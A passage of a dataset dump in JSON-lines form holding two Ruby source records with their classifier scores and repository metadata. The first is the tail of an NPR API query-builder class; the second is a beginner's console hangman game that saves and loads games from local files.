set(params)\n @builder[:extra] = (@builder[:extra] || {}).merge(params)\n self\n end\n\n #-----------------------\n # Merge in the passed-in conditions to what\n # already exists.\n #\n # Accepts a Hash.\n #\n # Example:\n #\n # query.where(id: 999, requiredAssets: \"text\")\n #\n # Extra convenience:\n #\n # * You may pass an array to :id\n #\n # query.where(id: [70, 180])\n #\n # * You may pass a date range to :date\n #\n # last_week = Time.new(2012, 10, 21)\n # yesterday = Time.new(2012, 10, 25)\n # query.where(date: (last_week..yesterday))\n #\n def where(conditions)\n @builder[:conditions] = (@builder[:conditions] || {}).merge(conditions)\n self\n end\n\n #-----------------------\n # Set the order.\n #\n # Accepts a String.\n #\n # Example:\n #\n # query.order(\"date descending\")\n #\n def order(order)\n @builder[:order] = order\n self\n end\n\n #-----------------------\n # Set the limit.\n #\n # Accepts an Integer.\n #\n # Example:\n #\n # query.limit(10)\n #\n # Note that NPR limits the maximum results to 20,\n # and will return only 20 results if more than the\n # maximum is requested.\n def limit(limit)\n @builder[:limit] = limit\n self\n end\n\n #-----------------------\n # Offset the number of results\n # Useful for pagination\n #\n # Accepts an Integer.\n #\n # Example:\n #\n # query.offset(100)\n #\n def offset(offset)\n @builder[:offset] = offset\n self\n end\n\n #-----------------------\n\n private\n\n def client\n @client ||= NPR::API::Client.new(:apiKey => NPR.config.apiKey)\n end\n\n #-----------------------\n\n def parse_conditions(conditions)\n parse_conditions!(conditions.dup)\n end\n\n #-----------------------\n\n def parse_conditions!(conditions)\n if conditions[:id].is_a? Array\n conditions[:id] = conditions[:id].join(\",\")\n end\n\n if conditions[:date].is_a? Range\n conditions[:startDate] = conditions[:date].first\n conditions[:endDate] = conditions[:date].last\n conditions.delete(:date)\n end\n\n conditions\n end\n end # QueryBuilder\n end # API\nend # NPR\n", "text_preview": "## # NPR::API::QueryBuilder # module NPR module API class QueryBuilder CLASS_BUILDER_METHODS = [ :where, :order, :limit, :offset, :set ] attr_reader :_klass, :builder #----------------------- def initialize(klass) @_klass = klass @builder =", "input_sha256": "6d0bde2609b9ba110887a9985c7001eb37cfe0f28b414a311c2e30d705486f14", "text_sha256": "e6231caecb57510a2c2feb0ecde38845be20d3feacc71c666ccd5e9acb730884", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16084, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2623598036318615, "noise_severity": 0.1271503251490564, "missing_content_severity": 0.007690764852149262, "factual_density": 3.3809815121391953, "pretraining_utility": 0.6137447129742407, "math_density": 0.15846082990360857, "code_density": 3.6021799380760067, "reasoning_density": 0.37444317456101117, "education_level": 2.0577645013324912, "creative_writing_quality": -0.036586321822419325}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.018316715310957132, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9967416834231313, "secondary": 0.9097230031618125, "tertiary": 0.9288360973993327, "structured_records": 0.007559870253817395, "procedural_steps": 0.09777906844127067, "worked_solution": 0.025710679204685644, "contextual_dialogue": 5.474659277403564e-06, "content_quality": 0.6020925987086998, "noise_severity": 0.8940413957091197, "missing_content_severity": 0.9935910292898756, "factual_density": 0.48415126011599585, "pretraining_utility": 0.5353262688801831, "math_density": 0.8679493084136596, "code_density": 0.6684832817300057, "reasoning_density": 0.6879640211991573, "education_level": 0.7850358272473646, "creative_writing_quality": 0.9991553355549021, "primary_topic": 0.9884261289195566, "secondary_topic": 0.8782411361853616}, "probability_margin": {"primary": 0.9952913665489186, "secondary": 0.8667456431118936, "tertiary": 0.889118458123993, "education_level": 0.7130177491927583, "creative_writing_quality": 0.998872555441689, "primary_topic": 0.9826226382578533, "secondary_topic": 0.8048462003118443}, "raw_probabilities": {"primary": {"Academic Writing": 2.4222848360713842e-05, "Content Listing": 1.884879517193201e-05, "Creative Writing": 1.0596963672269663e-05, "Customer Support Page": 2.9437891712115984e-05, "Q&A Forum": 1.0256178729783218e-05, "Discussion Thread": 5.542058756732658e-06, "Comment Section": 1.3347250991976639e-05, "Missing Content": 2.241416207833251e-05, "Knowledge Article": 0.00011109267500374611, "Legal Notices": 2.071352638585846e-05, "News Article": 4.0314682963430835e-06, "Organizational Announcement": 1.0211907692096075e-05, "Nonfiction Writing": 7.975162595589144e-06, "Organizational About Page": 1.5134661157313958e-05, "Personal About Page": 8.316858892929377e-06, "Personal Blog": 6.082020114994546e-06, "Product Page": 8.129647621935494e-06, "Spam / Ads": 8.071141541621412e-06, "Structured Data": 0.0005193590052527943, "Technical Writing": 0.9968774466138342, "Transcript / Interview": 1.1851879235845574e-05, "Tutorial / How-To Guide": 0.0015860800649155086, "User Reviews": 5.5988798388384015e-06, "Other / Unknown": 0.0006652383381466581}, "secondary": {"Academic Writing": 0.00037521249368005233, "Content Listing": 0.00024724062310283357, "Creative Writing": 0.000250255712619253, "Customer Support Page": 0.0005672622051329208, "Q&A Forum": 0.00017029815053673817, "Discussion Thread": 0.00011294930594456415, "Comment Section": 0.0003403866962613998, "Missing Content": 0.0004217018490824053, "Knowledge Article": 0.0012746795929730274, "Legal Notices": 0.0002626682302459152, "News Article": 0.00019722553226630258, "Organizational Announcement": 0.0001873199323963808, "Nonfiction Writing": 0.0001696030819847975, "Organizational About Page": 0.00026491601041040645, "Personal About Page": 0.00015616881183596232, "Personal Blog": 0.00014472146642169985, "Product Page": 0.00015685593757572524, "Spam / Ads": 0.00017530698061532296, "Structured Data": 0.005565395135152048, "Technical Writing": 0.028414375894407762, "Transcript / Interview": 0.000222177499971836, "Tutorial / How-To Guide": 0.046738901584843354, "User Reviews": 9.9832575802407e-05, "NONE": 0.913484544696737}, "tertiary": {"Academic Writing": 0.000236133045770517, "Content Listing": 0.00021463118924316396, "Creative Writing": 0.000187476752725787, "Customer Support Page": 0.0005492766382681159, "Q&A Forum": 9.25953687176526e-05, "Discussion Thread": 7.063412604619644e-05, "Comment Section": 0.00033018887875300795, "Missing Content": 0.0004101170685934877, "Knowledge Article": 0.0012519631269917824, "Legal Notices": 0.00025811043043238156, "News Article": 0.000118060498874005, "Organizational Announcement": 0.00011476520286346237, "Nonfiction Writing": 0.00011679204105487115, "Organizational About Page": 0.0001875323652111116, "Personal About Page": 0.00010346372495822314, "Personal Blog": 8.058715933759715e-05, "Product Page": 9.742620698263582e-05, "Spam / Ads": 0.00011105193859766506, "Structured Data": 0.005182240118651498, "Technical Writing": 0.015630530196648344, "Transcript / Interview": 0.00011849917930053439, "Tutorial / How-To Guide": 0.04268280188370083, "User Reviews": 5.386285058324393e-05, "NONE": 0.9318012600076938}, "structured_records": {"false": 0.9924401297461826, "true": 0.007559870253817395}, "procedural_steps": {"false": 0.9022209315587293, "true": 0.09777906844127067}, "worked_solution": {"false": 0.9742893207953144, "true": 0.025710679204685644}, "contextual_dialogue": {"false": 0.9999945253407226, "true": 5.474659277403564e-06}, "content_quality": {"-2": 0.002235387626085965, "-1": 0.005261270999477101, "0": 0.0903358340816372, "1": 0.5322431647020888, "2": 0.36992434259071094}, "noise_severity": {"0": 0.8844861207842712, "1": 0.1075602648369071, "2": 0.005354630219692757, "3": 0.0015151367637513753, "4": 0.0010838473953774077}, "missing_content_severity": {"0": 0.995094398961842, "1": 0.002862369848269561, "2": 0.0014499871643530206, "3": 0.00044455542696690775, "4": 0.0001486885985682337}, "factual_density": {"0": 0.0031715751526979713, "1": 0.007522702211684562, "2": 0.09521579250095719, "3": 0.393332495613045, "4": 0.5007574345216154}, "pretraining_utility": {"-2": 0.006407521039333442, "-1": 0.04782556980915693, "0": 0.3570581794484556, "1": 0.5030321345440435, "2": 0.08567659515901051}, "math_density": {"0": 0.8835089995558465, "1": 0.09638173599352846, "2": 0.007594846296412063, "3": 0.0031682712995957105, "4": 0.00934614685461721}, "code_density": {"0": 0.00047950611261460464, "1": 0.001092211922637343, "2": 0.03870948280194748, "3": 0.3152064361017278, "4": 0.6445123630610726}, "reasoning_density": {"0": 0.7420895244606297, "1": 0.16615233091615692, "2": 0.07103357108976179, "3": 0.01667459266847586, "4": 0.004049980864975771}, "education_level": {"none": 0.001120018149845071, "0": 0.0021878767409878584, "1": 0.06057894458937426, "2": 0.8208631893728039, "3": 0.1078454401800456, "4": 0.007404530966943175}, "creative_writing_quality": {"not_applicable": 0.9992961129624184, "-2": 4.518015491189887e-05, "-1": 0.00010249574261518839, "0": 0.00042355752072945437, "1": 9.820382389463454e-05, "2": 3.444979543038167e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.988471872207002e-05, "Art & Design": 4.873864716827634e-05, "Law & Crime": 3.5110102597876024e-05, "Education & Careers": 4.10848393387153e-05, "Entertainment & Media": 0.006248639549412701, "Fashion & Beauty": 2.518370880001279e-05, "Business, Economics & Finance": 0.00011023409795704477, "Food & Dining": 3.623270167194091e-05, "Games & Gaming": 4.606266957084766e-05, "Electronics & Hardware": 5.107442447370862e-05, "Health, Healthcare & Wellness": 3.213485304481826e-05, "History & Geography": 3.3902672067132714e-05, "Home, Pets & Hobbies": 2.3036134461360155e-05, "Industry & Production": 6.439999243436107e-05, "Language, Literature & Philosophy": 4.504760295189655e-05, "Politics & Government": 9.337766227564623e-05, "Religion & Spirituality": 6.36185474160481e-05, "Science, Mathematics & Engineering": 0.0001062603474376132, "Relationships & Community": 2.8660471805844976e-05, "Software Usage & Applications": 0.003123102845945129, "Programming & Software Engineering": 0.988871277807266, "Sports & Fitness": 4.683086176130743e-05, "Vehicles & Transportation": 1.7776346386177202e-05, "Travel & Tourism": 4.648503664127009e-05, "Other / Uncovered Subject": 0.0006407411608061854, "Unknown / Insufficient Content": 8.110219758580636e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006030895010170111, "Art & Design": 0.0004747515369048996, "Law & Crime": 0.0005193626751731791, "Education & Careers": 0.00031305018020637363, "Entertainment & Media": 0.07807796909715722, "Fashion & Beauty": 0.00024692486071300595, "Business, Economics & Finance": 0.0010293767337052051, "Food & Dining": 0.00025894364269913233, "Games & Gaming": 0.0003083007050265351, "Electronics & Hardware": 0.00028843398523242315, "Health, Healthcare & Wellness": 0.0002717984807834623, "History & Geography": 0.00025877355148306533, "Home, Pets & Hobbies": 0.00017660350551040229, "Industry & Production": 0.00024862275550672076, "Language, Literature & Philosophy": 0.00029270568189093536, "Politics & Government": 0.0005678833013805696, "Religion & Spirituality": 0.0004415479361171239, "Science, Mathematics & Engineering": 0.00041693515620068656, "Relationships & Community": 0.00015402875006879091, "Software Usage & Applications": 0.013287406961049261, "Programming & Software Engineering": 0.015302961490976414, "Sports & Fitness": 0.00024566821967645096, "Vehicles & Transportation": 0.00010144344476274677, "Travel & Tourism": 0.00035270345168735733, "Other / Uncovered Subject": 0.002836544986069502, "NONE": 0.8829241694090015}}, "probabilities": {"primary": {"Academic Writing": 2.4222848360713842e-05, "Content Listing": 1.884879517193201e-05, "Creative Writing": 1.0596963672269663e-05, "Customer Support Page": 2.9437891712115984e-05, "Q&A Forum": 1.0256178729783218e-05, "Discussion Thread": 5.542058756732658e-06, "Comment Section": 1.3347250991976639e-05, "Missing Content": 2.241416207833251e-05, "Knowledge Article": 0.00011109267500374611, "Legal Notices": 2.071352638585846e-05, "News Article": 4.0314682963430835e-06, "Organizational Announcement": 1.0211907692096075e-05, "Nonfiction Writing": 7.975162595589144e-06, "Organizational About Page": 1.5134661157313958e-05, "Personal About Page": 8.316858892929377e-06, "Personal Blog": 6.082020114994546e-06, "Product Page": 8.129647621935494e-06, "Spam / Ads": 8.071141541621412e-06, "Structured Data": 0.0005193590052527943, "Technical Writing": 0.9968774466138342, "Transcript / Interview": 1.1851879235845574e-05, "Tutorial / How-To Guide": 0.0015860800649155086, "User Reviews": 5.5988798388384015e-06, "Other / Unknown": 0.0006652383381466581}, "secondary": {"Academic Writing": 0.0003752124936800522, "Content Listing": 0.0002472406231028335, "Creative Writing": 0.00025025571261925295, "Customer Support Page": 0.0005672622051329207, "Q&A Forum": 0.00017029815053673815, "Discussion Thread": 0.00011294930594456412, "Comment Section": 0.00034038669626139975, "Missing Content": 0.0004217018490824052, "Knowledge Article": 0.0012746795929730272, "Legal Notices": 0.00026266823024591513, "News Article": 0.00019722553226630252, "Organizational Announcement": 0.00018731993239638075, "Nonfiction Writing": 0.00016960308198479747, "Organizational About Page": 0.0002649160104104064, "Personal About Page": 0.0001561688118359623, "Personal Blog": 0.00014472146642169982, "Product Page": 0.00015685593757572522, "Spam / Ads": 0.00017530698061532293, "Structured Data": 0.005565395135152047, "Technical Writing": 0.028414375894407755, "Transcript / Interview": 0.00022217749997183596, "Tutorial / How-To Guide": 0.04673890158484335, "User Reviews": 9.983257580240698e-05, "NONE": 0.9134845446967368}, "tertiary": {"Academic Writing": 0.00023613304577051704, "Content Listing": 0.00021463118924316398, "Creative Writing": 0.00018747675272578703, "Customer Support Page": 0.000549276638268116, "Q&A Forum": 9.259536871765262e-05, "Discussion Thread": 7.063412604619646e-05, "Comment Section": 0.000330188878753008, "Missing Content": 0.00041011706859348776, "Knowledge Article": 0.0012519631269917826, "Legal Notices": 0.0002581104304323816, "News Article": 0.00011806049887400502, "Organizational Announcement": 0.00011476520286346239, "Nonfiction Writing": 0.00011679204105487116, "Organizational About Page": 0.00018753236521111162, "Personal About Page": 0.00010346372495822315, "Personal Blog": 8.058715933759716e-05, "Product Page": 9.742620698263584e-05, "Spam / Ads": 0.00011105193859766508, "Structured Data": 0.005182240118651499, "Technical Writing": 0.015630530196648347, "Transcript / Interview": 0.0001184991793005344, "Tutorial / How-To Guide": 0.042682801883700834, "User Reviews": 5.3862850583243935e-05, "NONE": 0.9318012600076939}, "structured_records": {"false": 0.9924401297461826, "true": 0.007559870253817395}, "procedural_steps": {"false": 0.9022209315587293, "true": 0.09777906844127067}, "worked_solution": {"false": 0.9742893207953144, "true": 0.025710679204685644}, "contextual_dialogue": {"false": 0.9999945253407226, "true": 5.474659277403564e-06}, "content_quality": {"-2": 0.002235387626085965, "-1": 0.005261270999477101, "0": 0.0903358340816372, "1": 0.5322431647020888, "2": 0.36992434259071094}, "noise_severity": {"0": 0.8844861207842714, "1": 0.10756026483690712, "2": 0.005354630219692758, "3": 0.0015151367637513756, "4": 0.0010838473953774079}, "missing_content_severity": {"0": 0.9950943989618423, "1": 0.0028623698482695614, "2": 0.0014499871643530208, "3": 0.00044455542696690786, "4": 0.00014868859856823373}, "factual_density": {"0": 0.0031715751526979713, "1": 0.007522702211684562, "2": 0.09521579250095719, "3": 0.393332495613045, "4": 0.5007574345216154}, "pretraining_utility": {"-2": 0.006407521039333442, "-1": 0.04782556980915693, "0": 0.3570581794484556, "1": 0.5030321345440435, "2": 0.08567659515901051}, "math_density": {"0": 0.8835089995558465, "1": 0.09638173599352846, "2": 0.007594846296412063, "3": 0.0031682712995957105, "4": 0.00934614685461721}, "code_density": {"0": 0.0004795061126146047, "1": 0.0010922119226373433, "2": 0.038709482801947484, "3": 0.3152064361017279, "4": 0.6445123630610727}, "reasoning_density": {"0": 0.7420895244606297, "1": 0.16615233091615692, "2": 0.07103357108976179, "3": 0.01667459266847586, "4": 0.004049980864975771}, "education_level": {"none": 0.0011200181498450712, "0": 0.002187876740987859, "1": 0.06057894458937427, "2": 0.820863189372804, "3": 0.10784544018004562, "4": 0.007404530966943176}, "creative_writing_quality": {"not_applicable": 0.9992961129624185, "-2": 4.518015491189888e-05, "-1": 0.0001024957426151884, "0": 0.0004235575207294544, "1": 9.820382389463456e-05, "2": 3.444979543038168e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.9884718722070024e-05, "Art & Design": 4.873864716827635e-05, "Law & Crime": 3.511010259787603e-05, "Education & Careers": 4.1084839338715306e-05, "Entertainment & Media": 0.006248639549412703, "Fashion & Beauty": 2.5183708800012796e-05, "Business, Economics & Finance": 0.0001102340979570448, "Food & Dining": 3.6232701671940916e-05, "Games & Gaming": 4.6062669570847674e-05, "Electronics & Hardware": 5.1074424473708636e-05, "Health, Healthcare & Wellness": 3.213485304481827e-05, "History & Geography": 3.390267206713272e-05, "Home, Pets & Hobbies": 2.3036134461360162e-05, "Industry & Production": 6.439999243436108e-05, "Language, Literature & Philosophy": 4.504760295189656e-05, "Politics & Government": 9.337766227564625e-05, "Religion & Spirituality": 6.361854741604812e-05, "Science, Mathematics & Engineering": 0.00010626034743761323, "Relationships & Community": 2.8660471805844983e-05, "Software Usage & Applications": 0.00312310284594513, "Programming & Software Engineering": 0.9888712778072662, "Sports & Fitness": 4.6830861761307446e-05, "Vehicles & Transportation": 1.7776346386177205e-05, "Travel & Tourism": 4.64850366412701e-05, "Other / Uncovered Subject": 0.0006407411608061855, "Unknown / Insufficient Content": 8.110219758580637e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006030895010170111, "Art & Design": 0.0004747515369048996, "Law & Crime": 0.0005193626751731791, "Education & Careers": 0.00031305018020637363, "Entertainment & Media": 0.07807796909715722, "Fashion & Beauty": 0.00024692486071300595, "Business, Economics & Finance": 0.0010293767337052051, "Food & Dining": 0.00025894364269913233, "Games & Gaming": 0.0003083007050265351, "Electronics & Hardware": 0.00028843398523242315, "Health, Healthcare & Wellness": 0.0002717984807834623, "History & Geography": 0.00025877355148306533, "Home, Pets & Hobbies": 0.00017660350551040229, "Industry & Production": 0.00024862275550672076, "Language, Literature & Philosophy": 0.00029270568189093536, "Politics & Government": 0.0005678833013805696, "Religion & Spirituality": 0.0004415479361171239, "Science, Mathematics & Engineering": 0.00041693515620068656, "Relationships & Community": 0.00015402875006879091, "Software Usage & Applications": 0.013287406961049261, "Programming & Software Engineering": 0.015302961490976414, "Sports & Fitness": 0.00024566821967645096, "Vehicles & Transportation": 0.00010144344476274677, "Travel & Tourism": 0.00035270345168735733, "Other / Uncovered Subject": 0.002836544986069502, "NONE": 0.8829241694090015}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9968, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9968, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:06.133710+00:00", "scoring_key_slot": "primary", "dataset_uid": "21f40a54-80ed-4a3f-9b6c-e3f19788bead", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "857ebd92f616b249d759a479943eb12e37a11520f49874b0b4d5230eb270ca15", "source_metadata": {"uuid": "21f40a54-80ed-4a3f-9b6c-e3f19788bead", "repo_name": "bricker/npr", "relative_path": "lib/npr/api/query_builder.rb", "category": "TOOL", "algo_rel_score": 0.8468054533004761, "quality_score": 6.131702423095703, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 203, "repo_created_at": "2012-12-12T01:11:51.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 10, "forks": 2, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b7dc2ccd0a9c033a191e49893570a9aa34b24994", "size_bytes": 5494, "file_timestamp": 1459798658, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "3a750b321f0a27aaac5bde9e513e6719f9cc0691"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 203, "repo_created_at": "2012-12-12T01:11:51.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 10, "forks": 2, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b7dc2ccd0a9c033a191e49893570a9aa34b24994", "size_bytes": 5494, "file_timestamp": 1459798658, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "3a750b321f0a27aaac5bde9e513e6719f9cc0691", "url": "https://github.com/bricker/npr/blob/3a750b321f0a27aaac5bde9e513e6719f9cc0691/lib/npr/api/query_builder.rb"}, "gpt4o_tokens": 1330, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2623598036318615, "noise_severity": 0.1271503251490564, "missing_content_severity": 0.007690764852149262, "factual_density": 3.3809815121391953, "pretraining_utility": 0.6137447129742407, "math_density": 0.15846082990360857, "code_density": 3.6021799380760067, "reasoning_density": 0.37444317456101117, "education_level": 2.0577645013324912, "creative_writing_quality": -0.036586321822419325}, "score_applicability": {"education_level": 0.9988799818501549, "creative_writing_quality": 0.0007038870375815579}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/imousterian/OdinProject/blob/9ab2870ba6273a4e56e05704c5ef4a369dd1cbe2/Project2_4_Ruby_FileIO/hangman/hangman.rb", "id": "ruby-0-95f50e4059fbc12ab65c4a7b982d66bb", "text": "\nrequire 'csv'\n\nclass Hangman\n\n attr_accessor :secret, :saved_counter\n\n def initialize(contents)\n @contents = CSV.open contents\n end\n\n def setup_new_game\n select_secret_word\n setup_display\n end\n\n def read_in_data_values\n arr = Array.new\n @contents.each {|i| arr.push(i)}\n arr\n end\n\n def setup_continued_game\n arr = read_in_data_values\n @saved_counter = arr[0][0]\n @secret = arr[1][0]\n @display = arr[2][0].split(' ')\n end\n\n def select_secret_word\n\n arr = read_in_data_values\n\n while(true)\n @secret = arr.sample[0]\n if @secret.length >= 5 and @secret.length <= 12\n return @secret.split('').map!(&:downcase)\n end\n end\n end\n\n def setup_display\n @display = Array.new(@secret.length) { |i| ' _ ' }\n end\n\n def display_board\n print \"\\n#{board}\"\n puts \" \"\n end\n\n def board\n @display.join(' ')\n end\n\n def return_feedback(lets)\n\n @lette = lets.downcase\n\n if @secret.include?(@lette)\n puts \"'#{lets}' is here! :)\"\n letter_indices = fetch_indices\n letter_indices.each {|i| @display[i] = @lette}\n else\n puts \"Sorry! This word doesn't contain '#{lets}' :(\"\n end\n end\n\n def fetch_indices\n @secret.split('').map.with_index { |value, index| index if value == @lette}.compact\n end\n\n def won?\n\n if @display.include?(' _ ') or @display.include?('_')\n false\n else\n true\n end\n end\n\n def save_turn(id,turn,results)\n\n filename = \"saved_games/game#{id}.txt\"\n File.open(filename, 'w') do |file|\n file.puts turn,@secret,results\n end\n end\n\nend\n\n\n\nclass Game\n\n def count_files\n Dir.mkdir(\"saved_games\") unless Dir.exists? \"saved_games\"\n Dir.glob(File.join('./saved_games', '**', '*')).select { |file| File.file?(file) }.count\n end\n\n def start_new_game\n @hangman = Hangman.new('5desk.txt')\n @hangman.setup_new_game\n @counter = 1\n end\n\n def start_saved_game(id)\n @hangman = Hangman.new(\"saved_games/game#{id}.txt\")\n @hangman.setup_continued_game\n @counter = @hangman.saved_counter.to_i + 1\n end\n\n def make_game_selection(num)\n if num == '1'\n puts \"Starting a new game!\"\n start_new_game\n else\n if count_files == 0\n puts \"You do not have any saved games yet. Starting a new game instead.\"\n start_new_game\n else\n puts \"Enter the number of the game you want to play. You currently have #{count_files} games.\"\n puts \"Enter a number between 1 and #{count_files}.\"\n number_selection = gets.chomp\n start_saved_game(number_selection)\n\n if @counter >= 12\n puts \"\\nYou can't play the game that's already over.\"\n end\n end\n end\n end\n\n def play\n\n @alphabet = %w{ a b c d e f g h i o p q r s t u v w x y z}\n\n total_count = count_files\n\n puts \"Do you want to start a new game or load an old game?\"\n puts \"1 = load new game\"\n puts \"2 = load old game\"\n\n game_selection = gets.chomp\n\n make_game_selection(game_selection)\n\n while(@counter < 13)\n\n @hangman.display_board\n\n puts \"\\n\\nRound #{@counter} out of 12! Please enter a letter.\"\n letter = gets.chomp\n puts \" \"\n\n if @alphabet.include?(letter.downcase)\n\n @hangman.return_feedback(letter)\n\n if @hangman.won?\n puts \"\\nVictory! ;)\"\n @counter = 14\n else\n @counter += 1\n end\n else\n puts \"Wrong input! :(\"\n end\n\n puts \"\\nDo you want to save the game? Enter Y for yes \"\n input = gets.chomp\n\n if input == 'Y' or input == 'y'\n @hangman.save_turn(total_count+1,(@counter-1),@hangman.board)\n end\n end\n\n puts \"\\nGame over :( The secret word was '#{@hangman.secret}'.\" if @counter > 12 and !@hangman.won?\n end\n\nend\n\n\ng = Game.new\ng.play\n\n", "text_preview": "require 'csv' class Hangman attr_accessor :secret, :saved_counter def initialize(contents) @contents = CSV.open contents end def setup_new_game select_secret_word setup_display end def read_in_data_values arr = Array.new @contents.each {|i|", "input_sha256": "54d3423da216057b6bec64bed0fe135804d67acc0053ee9111dbd6ebb10bb048", "text_sha256": "95f50e4059fbc12ab65c4a7b982d66bb6273ba7c999c0a6c38122906b6391c22", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16086, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.4756601916157218, "noise_severity": 0.18558805068936346, "missing_content_severity": 0.27921430272240194, "factual_density": 3.3276921762678007, "pretraining_utility": 0.4240896914965915, "math_density": 0.26258513511857706, "code_density": 3.852788959655544, "reasoning_density": 0.6745275535909903, "education_level": 1.7376648202014124, "creative_writing_quality": -0.20519820125472882}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 